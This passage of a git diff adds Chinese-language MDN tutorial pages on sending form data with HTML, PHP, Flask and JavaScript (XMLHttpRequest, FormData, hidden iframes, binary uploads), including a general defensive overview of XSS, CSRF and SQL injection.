Border and background
{{cssxref("background")}}YesYes 
{{cssxref("border-radius")}}Partial[1]Partial[1] +
    +
  1. IE9 不支持这个属性
  2. +
+
{{cssxref("box-shadow")}}Partial[1]Partial[1] +
    +
  1. IE9 不支持这个属性
  2. +
+
+ +

{{PreviousMenu("Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}

+ +

 

+ +

在本单元中

+ + + +

 

diff --git a/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html b/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html new file mode 100644 index 0000000000..ed3a4ef0ef --- /dev/null +++ b/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html @@ -0,0 +1,369 @@ +--- +title: 发送表单数据 +slug: Learn/HTML/Forms/Sending_and_retrieving_form_data +tags: + - HTML + - HTTP + - Web + - request + - 安全 + - 表单 +translation_of: Learn/Forms/Sending_and_retrieving_form_data +--- +

{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms")}}

+ +

本文将讨论当用户提交表单时发生了什么——数据去了哪,以及当它到达时该如何处理?我们还研究了与发送表单数据相关的一些安全问题。

+ + + + + + + + + + + + +
预备知识: +

基本计算机素养,对HTML的理解,对HTTP服务器端编程的基础知识。

+
目标:了解表单数据提交时发生了什么,包括服务器上如何处理数据的基本概念。
+ +

数据都去哪儿了?

+ +

在这里,我们将讨论在提交表单时数据会发生什么。

+ +

客户端/服务器体系结构

+ +

web基于非常基本的客户端/服务器体系结构,可以总结如下:客户端(通常是web浏览器)向服务器发送请求(大多数情况下是ApacheNginxIISTomcat等web服务器),使用HTTP 协议。服务器使用相同的协议来回答请求。

+ +

A basic schema of the Web client/server architecture

+ +

在客户端,HTML表单只不过是一种方便的用户友好的方式,可以配置HTTP请求将数据发送到服务器。这使用户能够提供在HTTP请求中传递的信息。

+ +
+

注意:为了更好地了解客户端—服务器架构是如何工作的,请阅读我们的服务器端网站编程的第一个步骤模块。

+
+ +

在客户端:定义如何发送数据

+ +

{{HTMLElement("form")}}元素定义了如何发送数据。它的所有属性都是为了让您配置当用户点击提交按钮时发送的请求。两个最重要的属性是{{htmlattrxref("action","form")}}和{{htmlattrxref("method","form")}}。

+ +

 {{htmlattrxref("action","form")}} 属性

+ +

这个属性定义了发送数据要去的位置。它的值必须是一个有效的URL。如果没有提供此属性,则数据将被发送到包含这个表单的页面的URL。

+ +

在这个例子中,数据被发送到一个绝对URL —— http://foo.com

+ +
<form action="http://foo.com">
+ +

这里,我们使用相对URL——数据被发送到服务器上的不同URL

+ +
<form action="/somewhere_else">
+
+ +

在没有属性的情况下,像下面一样,{{HTMLElement("form")}}数据被发送到表单出现的相同页面上:

+ +
<form>
+ +

许多较老的页面使用下面的符号表示数据应该被发送到包含表单的相同页面;这是必需的,因为直到HTML5{{htmlattrxref("action", "form")}}属性都需要该符号。现在,这不再需要了。

+ +
<form action="#">
+ +
+

注意:可以指定使用HTTPS(安全HTTP)协议的URL。当您这样做时,数据将与请求的其余部分一起加密,即使表单本身是托管在使用HTTP访问的不安全页面上。另一方面,如果表单是在安全页面上托管的,但是您指定了一个不安全的HTTP URL,它带有{{htmlattrxref("action","form")}}属性,所有的浏览器都会在每次尝试发送数据时向用户显示一个安全警告,因为数据不会被加密。

+
+ +

 {{htmlattrxref("method","form")}}属性

+ +

该属性定义了如何发送数据。HTTP协议提供了几种执行请求的方法;HTML表单数据可以通过许多不同的方法进行数据传输,其中最常见的是GET方法和POST方法。

+ +

为了理解这两种方法之间的区别,让我们回过头来看看HTTP是如何工作的。
+ 每当您想要访问Web上的资源时,浏览器都会向URL发送一个请求。
+ HTTP请求由两个部分组成:一个包含关于浏览器功能的全局元数据集的头部,和一个包含服务器处理特定请求所需信息的主体。

+ +
GET 方法
+ +

GET方法是浏览器使用的方法,请求服务器返回给定的资源:“嘿,服务器,我想要得到这个资源。”在这种情况下,浏览器发送一个空的主体。由于主体是空的,如果使用该方法发送一个表单,那么发送到服务器的数据将被追加到URL。

+ +

考虑下面这个表单:

+ +
<form action="http://foo.com" method="get">
+  <div>
+    <label for="say">What greeting do you want to say?</label>
+    <input name="say" id="say" value="Hi">
+  </div>
+  <div>
+    <label for="to">Who do you want to say it to?</label>
+    <input name="to" id="to" value="Mom">
+  </div>
+  <div>
+    <button>Send my greetings</button>
+  </div>
+</form>
+ +

由于已经使用了GET方法,当你提交表单的时候,您将看到www.foo.com/?say=Hi&to=Mom在浏览器地址栏里。

+ +

数据作为一系列的名称/值对被附加到URL。在URL web地址结束之后,我们得到一个问号(?),后面跟着由一个与符号(&)互相分隔开的名称/值对。在本例中,我们将两个数据传递给服务器。

+ + + +

HTTP请求如下:

+ +
GET /?say=Hi&to=Mom HTTP/2.0
+Host: foo.com
+ +
+

注意:你可以在GitHub 上看到本例子——见 get-method.html (预览版).

+
+ +
POST 方法
+ +

POST方法略有不同。这是浏览器在询问响应时使用与服务器通信的方法,该响应考虑了HTTP请求正文中提供的数据:“嘿,服务器,看一下这些数据,然后给我回一个适当的结果。”如果使用该方法发送表单,则将数据追加到HTTP请求的主体中。

+ +

让我们来看一个例子,这是我们在上面的GET部分中所看到的相同的形式,但是使用{{htmlattrxref("method","form")}}属性设置为post

+ +
<form action="http://foo.com" method="post">
+  <div>
+    <label for="say">What greeting do you want to say?</label>
+    <input name="say" id="say" value="Hi">
+  </div>
+  <div>
+    <label for="to">Who do you want to say it to?</label>
+    <input name="to" id="to" value="Mom">
+  </div>
+  <div>
+    <button>Send my greetings</button>
+  </div>
+</form>
+ +

当使用POST方法提交表单时,没有数据会附加到URL,HTTP请求看起来是这样的,而请求主体中包含的数据是这样的:

+ +
POST / HTTP/2.0
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&to=Mom
+ +

Content-Length数据头表示主体的大小,Content-Type数据头表示发送到服务器的资源类型。稍后我们将讨论这些标头。

+ +
+

注意:你可以在 GitHub 上看到本例—— 见 post-method.html (预览版).

+
+ +

查看HTTP请求

+ +

HTTP请求永远不会显示给用户(如果您想要看到它们,您需要使用诸如Firefox Network MonitorChrome Developer Tools之类的工具)。例如,您的表单数据将显示在Chrome网络选项卡中:

+ +
    +
  1. 按下 F12
  2. +
  3. 选择 "Network"
  4. +
  5. 选择 "All"
  6. +
  7. 在 "Name" 标签页选择 "foo.com"
  8. +
  9. 选择 "Headers"
  10. +
+ +

你可以获得表单数据,像下图显示的那样

+ +

+ +

唯一显示给用户的是被调用的URL。正如我们上面提到的,使用GET请求用户将在他们的URL栏中看到数据,但是使用POST请求用户将不会看到。这一点很重要,有两个原因:

+ +
    +
  1. 如果您需要发送一个密码(或其他敏感数据),永远不要使用GET方法否则数据会在URL栏中显示,这将非常不安全。
  2. +
  3. 如果您需要发送大量的数据,那么POST方法是首选的,因为一些浏览器限制了URL的大小。此外,许多服务器限制它们接受的URL的长度。
  4. +
+ +

在服务器端:检索数据

+ +

无论选择哪种HTTP方法,服务器都会接收一个字符串并解析,以便将数据作为键/值对序列获取。您访问这个序列的方式取决于您使用的开发平台以及您可能使用的任何特定框架。您使用的技术也决定了如何处理密钥副本;通常,最近收到的密钥的值是优先的。

+ +

例如:原始PHP

+ +

PHP提供了一些全局对象来访问数据。假设您已经使用了POST方法,那么下面的示例将获取数据并将其显示给用户。当然,你对数据的处理取决于你自己。您可以显示它,将它存储到数据库中,通过电子邮件发送它,或者以其他方式处理它。

+ +
<?php
+  // The global $_POST variable allows you to access the data sent with the POST method by name
+  // To access the data sent with the GET method, you can use $_GET
+  $say = htmlspecialchars($_POST['say']);
+  $to  = htmlspecialchars($_POST['to']);
+
+  echo  $say, ' ', $to;
+?>
+ +

这个例子显示了一个带有我们发送的数据的页面。您可以在我们的示例php-example.html中看到这一点——该文件包含与我们之前看到的相同的示例表单,它使用了postmethodphp-example.phpaction。当提交时,它将表单数据发送到php-example.php,其中包含了上述代码块中所见的php代码。当执行此代码时,浏览器中的输出是Hi Mom

+ +

+ +
+

注意:当您将本例加载到本地浏览器中时,这个示例将无法工作---浏览器无法解析PHP代码,因此当提交表单时,浏览器只会为您提供下载PHP文件。为了让它生效,您需要通过某种类型的PHP服务器运行这个示例。本地PHP测试的好选择有MAMP(Mac和Windows)和AMPPS(Mac、Windows、Linux)。

+
+ +

例子: Python

+ +

这个例子展示了如何使用Python完成同样的事情——在web页面上显示提交的数据。
+ 这将使用Flask framework来呈现模板、处理表单数据提交等(参见python-example.py)。

+ +
from flask import Flask, render_template, request
+app = Flask(__name__)
+
+@app.route('/', methods=['GET', 'POST'])
+def form():
+    return render_template('form.html')
+
+@app.route('/hello', methods=['GET', 'POST'])
+def hello():
+    return render_template('greeting.html', say=request.form['say'], to=request.form['to'])
+
+if __name__ == "__main__":
+    app.run()
+ +

以上代码中引用的两个模板如下:

+ + + +
+

注意:同样,如果您只是尝试将其直接加载到浏览器中,那么这段代码将无法工作。Python的工作方式与PHP略有不同——要在本地运行此代码,您需要安装Python/pip,然后使用pip3 install flask安装Flask。此时,您应该能够使用python3 python-example.py来运行这个示例,然后在浏览器中导航到localhost:5000

+
+ +

其他语言和框架

+ +

还有许多其他的服务器端技术可以用于表单处理,包括PerlJava.NetRuby等。只挑你最喜欢的用就好。话虽如此,但值得注意的是,直接使用这些技术并不常见,因为这可能很棘手。更常见的是使用许多优秀的框架,这些框架使处理表单变得更容易,例如:

+ + + +

要注意的是,即使使用这些框架,使用表单也不一定很容易。但这比从头开始编写所有功能要简单得多,而且会节省很多时间。

+ +
+

注意:向您介绍任何服务器端语言或框架超出了本文的范围。如果你想要学习这些它们,上面的链接会给你一些帮助。

+
+ +

特殊案例:发送文件

+ +

用HTML表单发送文件是一个特殊的例子。文件是二进制数据——或者被认为是这样的——而所有其他数据都是文本数据。由于HTTP是一种文本协议,所以处理二进制数据有特殊的要求。

+ +

{{htmlattrxref("enctype","form")}} 属性

+ +

该属性允许您指定在提交表单时所生成的请求中的Content-Type的HTTP数据头的值。这个数据头非常重要,因为它告诉服务器正在发送什么样的数据。默认情况下,它的值是application/x-www-form-urlencoded。它的意思是:“这是已编码为URL参数的表单数据。”

+ +

如果你想要发送文件,你需要额外的三个步骤:

+ + + +

例如:

+ +
<form method="post" enctype="multipart/form-data">
+  <div>
+    <label for="file">Choose a file</label>
+    <input type="file" id="file" name="myFile">
+  </div>
+  <div>
+    <button>Send the file</button>
+  </div>
+</form>
+ +
+

注意:一些浏览器支持{{HTMLElement("input")}}的{{htmlattrxref("multiple","input")}}属性,它允许只用一个 <input> 元素选择一个以上的文件上传。服务器如何处理这些文件取决于服务器上使用的技术。如前所述,使用框架将使您的生活更轻松。

+
+ +
+

警告:为了防止滥用,许多服务器配置了文件和HTTP请求的大小限制。在发送文件之前,先检查服务器管理员的权限是很重要的。

+
+ +

常见的安全问题

+ +

每次向服务器发送数据时,都需要考虑安全性。到目前为止,HTML表单是最常见的攻击路径(可能发生攻击的地方)。这些问题从来都不是来自HTML表单本身,它们来自于服务器如何处理数据。

+ +

根据你所做的事情,你会遇到一些非常有名的安全问题:

+ +

XSS 和 CSRF

+ +

跨站脚本(XSS)和跨站点请求伪造(CSRF)是常见的攻击类型,它们发生在当您将用户发送的数据显示给这个用户或另一个用户时。

+ +

XSS允许攻击者将客户端脚本注入到其他用户查看的Web页面中。攻击者可以使用跨站点脚本攻击的漏洞来绕过诸如同源策略之类的访问控制。这些攻击的影响可能从一个小麻烦到一个重大的安全风险。

+ +

CSRF攻击类似于XSS攻击,因为它们以相同的方式开始攻击——向Web页面中注入客户端脚本——但它们的目标是不同的。CSRF攻击者试图将权限升级到特权用户(比如站点管理员)的级别,以执行他们不应该执行的操作(例如,将数据发送给一个不受信任的用户)。

+ +

XSS攻击利用用户对web站点的信任,而CSRF攻击则利用网站对其用户的信任。

+ +

为了防止这些攻击,您应该始终检查用户发送给服务器的数据(如果需要显示),尽量不要显示用户提供的HTML内容。相反,您应该对用户提供的数据进行处理,这样您就不会逐字地显示它。当今市场上几乎所有的框架都实现了一个最小的过滤器,它可以从任何用户发送的数据中删除HTML{{HTMLElement("script")}}、{{HTMLElement("iframe")}} 和{{HTMLElement("object")}} 元素。这有助于降低风险,但并不一定会消除风险。

+ +

SQL注入

+ +

SQL 注入是一种试图在目标web站点使用的数据库上执行操作的攻击类型。这通常包括发送一个SQL请求,希望服务器能够执行它(通常发生在应用服务器试图存储由用户发送的数据时)。这实际上是攻击网站的主要途径之一。 

+ +

其后果可能是可怕的,从数据丢失到通过使用特权升级控制整个网站基础设施的攻击。这是一个非常严重的威胁,您永远不应该存储用户发送的数据,而不执行一些清理工作(例如,在php/mysql基础设施上使用mysql_real_escape_string()

+ +

HTTP数据头注入和电子邮件注入

+ +

这种类型的攻击出现在当您的应用程序基于表单上用户的数据输入构建HTTP头部或电子邮件时。这些不会直接损害您的服务器或影响您的用户,但它们会引发一个更深入的问题,例如会话劫持或网络钓鱼攻击。

+ +

这些攻击大多是无声的,并且可以将您的服务器变成僵尸

+ +

偏执:永远不要相信你的用户

+ +

那么,你如何应对这些威胁呢?这是一个远远超出本指南的主题,不过有一些规则需要牢记。最重要的原则是:永远不要相信你的用户,包括你自己;即使是一个值得信赖的用户也可能被劫持。

+ +

所有到达服务器的数据都必须经过检查和消毒。总是这样。没有例外。

+ + + +

如果你遵循这三条规则,你应该避免很多问题,但是如果你想要得到一个有能力的第三方执行的安全检查,这是一个好主意。不要以为你已经看到了所有可能的问题。

+ +
+

注意:我们的服务器端学习主题的网站安全性文章更详细地讨论了上述威胁和潜在的解决方案。

+
+ +

结论

+ +

如您所见,发送表单数据很容易,但要确保应用程序的安全性是很棘手的。请记住,前端开发人员不是应该定义数据安全模型的人。是的,我们将看到,执行客户端数据验证是可能的,但是服务器不能信任这种验证,因为它无法真正知道客户端到底发生了什么。

+ +

相关链接

+ +

如果您想了解更多关于保护web应用程序的信息,您可以深入了解这些资源:

+ + + +

{{PreviousMenuNext("Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms")}}

+ +

在本单元中

+ + diff --git a/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html b/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html new file mode 100644 index 0000000000..8489ff2243 --- /dev/null +++ b/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html @@ -0,0 +1,439 @@ +--- +title: 使用 JavaScript 发送表单 +slug: Learn/HTML/Forms/Sending_forms_through_JavaScript +tags: + - HTML + - HTML表单 + - JavaScript + - Web 表单 + - 示例 + - 表单 + - 高级 +translation_of: Learn/Forms/Sending_forms_through_JavaScript +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms")}}
+ +

正如在前面的文章中讲到的,HTML 表单可以声明式地发送一个 HTTP 请求。 但也可以通过 JavaScript 来为表单准备用于发送的 HTTP 请求。 本文探讨如何做到这一点。

+ +

表单不总是表单

+ +

开放式Web应用程序中,使用 HTML form 而不是文字表单让人们来填写变得越来越普遍了 — 越来越多的开发人员正致力于控制传输数据。

+ +

获得整体界面的控制

+ +

标准的 HTML 表单提交会加载数据要发送到的URL,这意味着浏览器窗口以整页加载进行导航。 可以通过隐藏闪烁和网络滞后来避免整页加载以提供更平滑的体验。

+ +

许多现代用户界面只使用HTML表单来收集用户的输入。 当用户尝试发送数据时,应用程序将在后台采取控制并且异步地传输数据,只更新UI中需要更改的部分。

+ +

异步地发送任何数据被称为 AJAX,它代表 "Asynchronous JavaScript And XML"。

+ +

表单提交和 AJAX 请求之间的区别?

+ +

AJAX 技术主要依靠 {{domxref("XMLHttpRequest")}} (XHR) DOM 对象。它可以构造 HTTP 请求、发送它们,并获取请求结果。

+ +
+

注意: 老旧的 AJAX 技术可能不依赖 {{domxref("XMLHttpRequest")}}。例如 JSONPeval() 函数。这也行得通,但是有严重的安全问题,不推荐使用它。使用它的唯一原因是为了不支持 {{domxref("XMLHttpRequest")}} 或 JSON的过时浏览器;但是那些浏览器实在是太古老了!避免使用这种技术。

+
+ +

创建之初, {{domxref("XMLHttpRequest")}} 被设计用来将 XML 作为传输数据的格式获取和发送。不过,如今 JSON 已经取代了 XML,而且要常用的多,无论这是不是一件好事。

+ +

但是 XML 和 JSON 都不适合对表单数据请求编码。 表单数据(application/x-www-form-urlencoded)由 URL编码的键/值对列表组成。为了传输二进制数据,HTTP请求被重新整合成multipart/form-data形式。

+ +

如果您控制前端(在浏览器中执行的代码)和后端(在服务器上执行的代码),则可以发送JSON / XML并根据需要处理它们。

+ +

但是,如果你想使用第三方服务,没有那么简单。 有些服务只接受表单数据。 也有使用表单数据更简单的情况。 如果数据是键/值对,或是原始二进制数据,以现有的后端工具不需要额外的代码就可以处理它。

+ +

那么如何发送这样的数据呢?

+ +

发送表单数据

+ +

一共有三种方式来发送表单数据:包括两种传统的方法和一种利用 {{domxref("XMLHttpRequest/FormData","formData")}}对象的新方法.让我们仔细看一下:

+ +

构建 XMLHttpRequest

+ +

{{domxref("XMLHttpRequest")}} 是进行 HTTP 请求的最安全和最可靠的方式。 要使用{{domxref("XMLHttpRequest")}}发送表单数据,请通过对其进行URL编码来准备数据,并遵守表单数据请求的具体细节。

+ +
+

备注:如果想要了解更多关于 XMLHttpRequest 的知识,你可能会对两篇文章感兴趣:An introductory article to AJAX 和更高级点的using XMLHttpRequest.

+
+ +

让我们重建之前的这个例子:

+ +
<button type="button" onclick="sendData({test:'ok'})">点击我!</button>
+ +

正如你所看到的,HTML实际上没什么改变。 不过,JavaScript变得截然不同了:

+ +
function sendData(data) {
+  var XHR = new XMLHttpRequest();
+  var urlEncodedData = "";
+  var urlEncodedDataPairs = [];
+  var name;
+
+  // 将数据对象转换为URL编码的键/值对数组。
+  for(name in data) {
+    urlEncodedDataPairs.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name]));
+  }
+
+  // 将配对合并为单个字符串,并将所有%编码的空格替换为
+  // “+”字符;匹配浏览器表单提交的行为。
+  urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+');
+
+  // 定义成功数据提交时发生的情况
+  XHR.addEventListener('load', function(event) {
+    alert('耶! 已发送数据并加载响应。');
+  });
+
+  // 定义错误提示
+  XHR.addEventListener('error', function(event) {
+    alert('哎呀!出问题了。');
+  });
+
+  // 建立我们的请求
+  XHR.open('POST', 'https://example.com/cors.php');
+
+  // 为表单数据POST请求添加所需的HTTP头
+  XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+
+  // 最后,发送我们的数据。
+  XHR.send(urlEncodedData);
+}
+ +

在线演示:

+ +

{{EmbedLiveSample("手动构建XMLHttpRequest", "100%", 50)}}

+ +
+

注: 当你想要往第三方网站传输数据时,使用{{domxref("XMLHttpRequest")}}会受到同源策略的影响。如果你需要执行跨域请求,你需要熟悉一下CORS和HTTP访问控制.

+
+ +

使用 XMLHttpRequest 和 the FormData object(表单数据对象)

+ +

手动建立一个 HTTP 请求非常困难。 幸运的是,最近的 XMLHttpRequest 规范提供了一种方便简单的方法 — 利用{{domxref("XMLHttpRequest/FormData","FormData")}}对象来处理表单数据请求。

+ +

{{domxref("XMLHttpRequest/FormData","FormData")}} 对象可以用来构建用于传输的表单数据,或是获取表单元素中的数据来管理它的发送方式。 请注意,{{domxref("XMLHttpRequest/FormData","FormData")}} 对象是“只写”的,这意味着您可以更改它们,但不能检索其内容。

+ +

使用这个对象在Using FormData Objects中有详细的介绍,不过这里有两个例子:

+ +

使用一个独立的 FormData 对象

+ +
<button type="button" onclick="sendData({test:'ok'})">点我!</button>
+ +

你应该会觉得那个HTML示例很熟悉。

+ +
function sendData(data) {
+  var XHR = new XMLHttpRequest();
+  var FD  = new FormData();
+
+  // 把我们的数据添加到这个FormData对象中
+  for(name in data) {
+    FD.append(name, data[name]);
+  }
+
+  // 定义数据成功发送并返回后执行的操作
+  XHR.addEventListener('load', function(event) {
+    alert('Yeah! 已发送数据并加载响应。');
+  });
+
+  // 定义发生错误时执行的操作
+  XHR.addEventListener('error', function(event) {
+    alert('Oops! 出错了。');
+  });
+
+  // 设置请求地址和方法
+  XHR.open('POST', 'https://example.com/cors.php');
+
+  // 发送这个formData对象,HTTP请求头会自动设置
+  XHR.send(FD);
+}
+ +

在线演示:

+ +

{{EmbedLiveSample("向FormData对象中手动添加数据", "100%", 50)}}

+ +

使用绑定到表单元素上的 FormData

+ +

你也可以把一个 FormData 对象绑定到一个 {{HTMLElement("form")}} 元素上。这会创建一个代表表单中包含元素的 FormData

+ +

这段HTML是典型的情况:

+ +
<form id="myForm">
+  <label for="myName">告诉我你的名字:</label>
+  <input id="myName" name="name" value="John">
+  <input type="submit" value="提交">
+</form>
+ +

但是 JavaScript 接管了这个表单:

+ +
window.addEventListener("load", function () {
+  function sendData() {
+    var XHR = new XMLHttpRequest();
+
+    // 我们把这个 FormData 和表单元素绑定在一起。
+    var FD  = new FormData(form);
+
+    // 我们定义了数据成功发送时会发生的事。
+    XHR.addEventListener("load", function(event) {
+      alert(event.target.responseText);
+    });
+
+    // 我们定义了失败的情形下会发生的事
+    XHR.addEventListener("error", function(event) {
+      alert('哎呀!出了一些问题。');
+    });
+
+    // 我们设置了我们的请求
+    XHR.open("POST", "https://example.com/cors.php");
+
+    // 发送的数据是由用户在表单中提供的
+    XHR.send(FD);
+  }
+
+  // 我们需要获取表单元素
+  var form = document.getElementById("myForm");
+
+  // ...然后接管表单的提交事件
+  form.addEventListener("submit", function (event) {
+    event.preventDefault();
+
+    sendData();
+  });
+});
+ +

在线演示:

+ +

{{EmbedLiveSample("使用绑定到表单元素上的_FormData", "100%", 50)}}

+ +

你甚至可以通过使用表单的{{domxref("HTMLFormElement.elements", "elements")}} 属性来更多的参与此过程,来得到一个包含表单里所有数据元素的列表,并且逐一手动管理他们。想了解更多,请参阅这里的例子:{{SectionOnPage("/en-US/docs/Web/API/HTMLFormElement.elements", "Accessing the element list's contents")}}

+ +

在隐藏的iframe中构建DOM

+ +

最古老的异步发送表单数据方法是用 DOM API 构建表单,然后将其数据发送到隐藏的 {{HTMLElement("iframe")}}。 要获得提交的结果,请获取{{HTMLElement("iframe")}}的内容。

+ +
+

警告:不要使用这项技术。有第三方服务的安全风险,因为它会使你暴露在 脚本注入攻击 中. 如果你使用 HTTPS,它会影响 同源策略, 这可以使 {{HTMLElement("iframe")}} 内容无法访问。然而,该方法可能是你需要支持很古老的浏览器的唯一选择。

+
+ +

下面是个简单的例子:

+ +
<button onclick="sendData({test:'ok'})">点击我!</button>
+ +

所有操作都在下面这段脚本里:

+ +
// 首先创建一个用来发送数据的iframe.
+var iframe = document.createElement("iframe");
+iframe.name = "myTarget";
+
+// 然后,将iframe附加到主文档
+window.addEventListener("load", function () {
+  iframe.style.display = "none";
+  document.body.appendChild(iframe);
+});
+
+// 下面这个函数是真正用来发送数据的.
+// 它只有一个参数,一个由键值对填充的对象.
+function sendData(data) {
+  var name,
+      form = document.createElement("form"),
+      node = document.createElement("input");
+
+  // 定义响应时发生的事件
+  iframe.addEventListener("load", function () {
+    alert("Yeah! Data sent.");
+  });
+
+  form.action = "http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi";
+  form.target = iframe.name;
+
+  for(name in data) {
+    node.name  = name;
+    node.value = data[name].toString();
+    form.appendChild(node.cloneNode());
+  }
+
+  // 表单元素需要附加到主文档中,才可以被发送。
+  form.style.display = "none";
+  document.body.appendChild(form);
+
+  form.submit();
+
+  // 表单提交后,就可以删除这个表单,不影响下次的数据发送。
+  document.body.removeChild(form);
+}
+ +

在线演示:

+ +

{{EmbedLiveSample("在DOM中构建一个隐藏的iframe", "100%", 50)}}

+ +

处理二进制数据

+ +

如果你使用一个含有 <input type="file"> 组件的表格的 {{domxref("XMLHttpRequest/FormData","FormData")}} 对象,传给代码的数据会被自动处理。但是要手动发送二进制数据的话,还有额外的工作要做。

+ +

在现代网络上,二进制数据有很多来源:例如{{domxref("FileReader")}} API、{{domxref("HTMLCanvasElement","Canvas")}} API、WebRTC API,等等。不幸的是,一些过时的浏览器无法访问二进制数据,或是需要非常复杂的工作环境。这些遗留问题已经超出了本文的涵盖范围。如果你想了解更多关于 FileReader API的知识,参阅:如何在web应用程序中使用文件

+ +

在 {{domxref("XMLHttpRequest/FormData","formData")}} 的帮助下,发送二进制数据非常简单,使用 append() 方法就可以了。如果你必须手动进行,那确实会有一些棘手。

+ +

在下面的例子中,我们使用了{{domxref("FileReader")}} API来访问二进制数据,然后手动构建多重表单数据请求:

+ +
<form id="myForm">
+  <p>
+    <label for="i1">文本数据:</label>
+    <input id="i1" name="myText" value="一些文本数据">
+  </p>
+  <p>
+    <label for="i2">文件数据:</label>
+    <input id="i2" name="myFile" type="file">
+  </p>
+  <button>提交!</button>
+</form>
+ +

如你所见,这个 HTML 只是一个标准的 <form>。没有什么神奇的事情发生。“魔法”都在 JavaScript 里:

+ +
// 因为我们想获取 DOM 节点,
+// 我们在页面加载时初始化我们的脚本.
+window.addEventListener('load', function () {
+
+  // 这些变量用于存储表单数据
+  var text = document.getElementById("i1");
+  var file = {
+        dom    : document.getElementById("i2"),
+        binary : null
+      };
+
+  // 使用 FileReader API 获取文件内容
+  var reader = new FileReader();
+
+  // 因为 FileReader 是异步的, 会在完成读取文件时存储结果
+  reader.addEventListener("load", function () {
+    file.binary = reader.result;
+  });
+
+  // 页面加载时, 如果一个文件已经被选择, 那么读取该文件.
+  if(file.dom.files[0]) {
+    reader.readAsBinaryString(file.dom.files[0]);
+  }
+
+  // 如果没有被选择,一旦用户选择了它,就读取文件。
+  file.dom.addEventListener("change", function () {
+    if(reader.readyState === FileReader.LOADING) {
+      reader.abort();
+    }
+
+    reader.readAsBinaryString(file.dom.files[0]);
+  });
+
+  // 发送数据是我们需要的主要功能
+  function sendData() {
+    // 如果存在被选择的文件,等待它读取完成
+    // 如果没有, 延迟函数的执行
+    if(!file.binary && file.dom.files.length > 0) {
+      setTimeout(sendData, 10);
+      return;
+    }
+
+    // 要构建我们的多重表单数据请求,
+    // 我们需要一个XMLHttpRequest 实例
+    var XHR = new XMLHttpRequest();
+
+    // 我们需要一个分隔符来定义请求的每一部分。
+    var boundary = "blob";
+
+    // 将我们的主体请求存储于一个字符串中
+    var data = "";
+
+    // 所以,如果用户已经选择了一个文件
+    if (file.dom.files[0]) {
+      // 在请求体中开始新的一部分
+      data += "--" + boundary + "\r\n";
+
+      // 把它描述成表单数据
+      data += 'content-disposition: form-data; '
+      // 定义表单数据的名称
+            + 'name="'         + file.dom.name          + '"; '
+      // 提供文件的真实名字
+            + 'filename="'     + file.dom.files[0].name + '"\r\n';
+      // 和文件的MIME类型
+      data += 'Content-Type: ' + file.dom.files[0].type + '\r\n';
+
+      // 元数据和数据之间有一条空行。
+      data += '\r\n';
+
+      // 将二进制数据添加到主体请求中
+      data += file.binary + '\r\n';
+    }
+
+    // 文本数据更简单一些
+    // 在主体请求中开始一个新的部分
+    data += "--" + boundary + "\r\n";
+
+    // 声明它是表单数据,并命名它
+    data += 'content-disposition: form-data; name="' + text.name + '"\r\n';
+    // 元数据和数据之间有一条空行。
+    data += '\r\n';
+
+    // 添加文本数据到主体请求中
+    data += text.value + "\r\n";
+
+    // 一旦完成,“关闭”主体请求
+    data += "--" + boundary + "--";
+
+    // 定义成功提交数据执行的语句
+    XHR.addEventListener('load', function(event) {
+      alert('✌!数据已发送且响应已加载。');
+    });
+
+    // 定义发生错误时做的事
+    XHR.addEventListener('error', function(event) {
+      alert('哎呀!出现了一些问题。');
+    });
+
+    // 建立请求
+    XHR.open('POST', 'https://example.com/cors.php');
+
+    // 添加需要的HTTP头部来处理多重表单数据POST请求
+    XHR.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
+
+    // 最后,发送数据。
+    XHR.send(data);
+  }
+
+  // 访问表单…
+  var form = document.getElementById("myForm");
+
+  // …接管提交事件
+  form.addEventListener('submit', function (event) {
+    event.preventDefault();
+    sendData();
+  });
+});
+ +

在线演示:

+ +

{{EmbedLiveSample("发送二进制数据", "100%", 150)}}

+ +

总结

+ +

取决于不同的浏览器,通过 JavaScript 发送数据可能会很简单,也可能会很困难。{{domxref("XMLHttpRequest/FormData","FormData")}} 对象是通用的答案, 所以请毫不犹豫的在旧浏览器上通过polyfill使用它:

+ + + +

{{PreviousMenuNext("Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms")}}

+ +

In this module

+ + diff --git a/files/zh-cn/learn/forms/styling_web_forms/index.html b/files/zh-cn/learn/forms/styling_web_forms/index.html new file mode 100644 index 0000000000..26b94e94e8 --- /dev/null +++ b/files/zh-cn/learn/forms/styling_web_forms/index.html @@ -0,0 +1,388 @@ +--- +title: 样式化 HTML 表单 +slug: Learn/HTML/Forms/Styling_HTML_forms +tags: + - CSS + - Web + - 例子 + - 指导 + - 样式 + - 表单 +translation_of: Learn/Forms/Styling_web_forms +--- +

{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}

+ +

在这篇文章中,用户将学习如何使用HTML表单和CSS以使页面更加美观。令人惊讶的是,这可能有点棘手。由于历史和技术的原因,表单部件不能很好地与CSS配合工作。 由于这些困难,许多开发人员选择构建自己的HTML小部件以获得更好的控制和视觉观感。 然而,在现代浏览器中,web设计者越来越多地控制表单元素的设计。让我们深入研究。

+ +

为什么使用CSS美化表单组件这么困难?

+ +

